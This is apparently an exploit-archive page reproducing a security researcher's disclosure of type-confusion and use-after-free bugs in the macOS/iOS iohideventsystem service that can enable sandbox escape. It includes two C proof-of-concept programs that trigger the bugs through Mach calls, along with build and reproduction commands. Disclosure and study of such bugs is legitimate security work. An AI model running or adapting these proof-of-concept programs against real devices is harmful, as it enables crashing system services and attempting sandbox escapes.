macOS < 10.14.3 / iOS < 12.1.3 - Sandbox Escapes due to Type Confusions and Memory Safety Issues in iohideventsystem
2019-01-31 22:05:36/*
It's possible that this should be two separate issues but I'm filing it as one as I'm still understanding
this service.
com.apple.iohideventsystem is hosted in hidd on MacOS and backboardd on iOS. You can talk to it from the app
sandbox on iOS.
It uses an IOMIGMachPortCache to translate between ports on which messages were received and CF objects
on which actions should be performed. There is insufficient checking that the types are correct; so far as
I can tell all the io_hideventsystem_* methods apart from io_hideventsystem_open expect to be called on
a "connection" port, but that's not enforced. Specifically, the service port is put in the cache mapped to
an IOHIDEventServer object, and each connection is put in mapped to IOHIDEventSystemConnection objects. Note that
the service IOMIG port can demux the whole hideventsystem service (all the methods.) This seems to lead to a lot
of type confusion issues (eg places where the code is trying to read a bitmap of entitlements possessed by the connection
but is in fact reading out of bounds.)
There's also what looks like a regular memory safety issue in
_io_hideventsystem_unregister_record_service_changed_notification.
This converts the port its called on to an object via IOMIGMachPortCacheCopy then passes that to
_IOHIDEventSystemConnectionUnregisterRecordServiceChanged.
This reads an object pointer from +0x10, which for both an IOHIDEventServer and IOHIDEventSystemConnection is an IOHIDEventSystem,
passes that to _IOHIDEventSystemUnregisterRecordServiceChanged and then calls CFRelease on it.
The problem is that this CFRelease call isn't balanced by a CFRetain, so each call to this just lets us arbitrarily drop references
on that object...
The PoC for this issue is trivial, just connect to the service and call io_hideventsystem_unregister_record_service_changed_notification twice.
You should enable guard malloc for the service to more easily see what's going on.
Tested on MacOS 10.14.1 (18B75)
// ianbeer
// build: clang -o hidcrasher hidcrasher.c -framework IOKit
// repro: enable guard malloc for hidd: sudo launchctl debug system/com.apple.hidd --guard-malloc
// then either manually kill hidd or run the PoC twice so that the second time you can more clearly observe the UaF
#if 0
iOS/MacOS Sandbox escapes due to type confusions and memory safety issues in iohideventsystem
It's possible that this should be two separate issues but I'm filing it as one as I'm still understanding
this service.
com.apple.iohideventsystem is hosted in hidd on MacOS and backboardd on iOS. You can talk to it from the app
sandbox on iOS.
It uses an IOMIGMachPortCache to translate between ports on which messages were received and CF objects
on which actions should be performed. There is insufficient checking that the types are correct; so far as
I can tell all the io_hideventsystem_* methods apart from io_hideventsystem_open expect to be called on
a "connection" port, but that's not enforced. Specifically, the service port is put in the cache mapped to
an IOHIDEventServer object, and each connection is put in mapped to IOHIDEventSystemConnection objects. Note that
the service IOMIG port can demux the whole hideventsystem service (all the methods.) This seems to lead to a lot
of type confusion issues (eg places where the code is trying to read a bitmap of entitlements possessed by the connection
but is in fact reading out of bounds.)
There's also what looks like a regular memory safety issue in
_io_hideventsystem_unregister_record_service_changed_notification.
This converts the port its called on to an object via IOMIGMachPortCacheCopy then passes that to
_IOHIDEventSystemConnectionUnregisterRecordServiceChanged.
This reads an object pointer from +0x10, which for both an IOHIDEventServer and IOHIDEventSystemConnection is an IOHIDEventSystem,
passes that to _IOHIDEventSystemUnregisterRecordServiceChanged and then calls CFRelease on it.
The problem is that this CFRelease call isn't balanced by a CFRetain, so each call to this just lets us arbitrarily drop references
on that object...
The PoC for this issue is trivial, just connect to the service and call io_hideventsystem_unregister_record_service_changed_notification twice.
You should enable guard malloc for the service to more easily see what's going on.
Tested on MacOS 10.14.1 (18B75)
#endif
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <mach/mach.h>
#include <mach/mach_vm.h>
#include <servers/bootstrap.h>
kern_return_t io_hideventsystem_unregister_record_service_changed_notification(
mach_port_t service_connection);
int main(int argc, char** argv) {
kern_return_t err;
// connect to the com.apple.iohideventsystem service
mach_port_t service_port = MACH_PORT_NULL;
err = bootstrap_look_up(bootstrap_port, "com.apple.iohideventsystem", &service_port);
if (err != KERN_SUCCESS || service_port == MACH_PORT_NULL) {
printf("failed to lookup service\n");
exit(EXIT_FAILURE);
}
printf("got service port: 0x%x\n", service_port);
for (int i = 0; i < 10; i++) {
io_hideventsystem_unregister_record_service_changed_notification(service_port);
}
return 0;
}
*/
/ ianbeer
// build: clang -o hid_typeconfusion hid_typeconfusion.c -framework IOKit -framework CoreFoundation
// repro: enable guard malloc for hidd: sudo launchctl debug system/com.apple.hidd --guard-malloc
// then kill hidd so it restarts with guard malloc enabled
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <mach/mach.h>
#include <mach/mach_vm.h>
#include <servers/bootstrap.h>
#include <CoreFoundation/CoreFoundation.h>
kern_return_t io_hideventsystem_create_virtual_service(
mach_port_t connection,
void* desc,
uint32_t desc_len,
uint64_t* id_out);
extern uint32_t _IOHIDSerialize(CFTypeRef obj, mach_vm_address_t* out);
int main(int argc, char** argv) {
kern_return_t err;
/* connect to the com.apple.iohideventsystem service */
mach_port_t service_port = MACH_PORT_NULL;
err = bootstrap_look_up(bootstrap_port, "com.apple.iohideventsystem", &service_port);
if (err != KERN_SUCCESS || service_port == MACH_PORT_NULL) {
printf("failed to lookup service\n");
exit(EXIT_FAILURE);
}
printf("got service port: 0x%x\n", service_port);
/* need a dictionary */
CFMutableDictionaryRef dict = CFDictionaryCreateMutable(NULL, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
CFDictionaryAddValue(dict, CFSTR("key"), CFSTR("value"));
mach_vm_address_t out_ptr = 0;
uint32_t size = _IOHIDSerialize(dict, &out_ptr);
CFRelease(dict);
uint64_t id_out = 0;
err = io_hideventsystem_create_virtual_service(service_port, (void*)out_ptr, size, &id_out);
return 0;
}
Fixes
No fixesPer poter inviare un fix è necessario essere utenti registrati.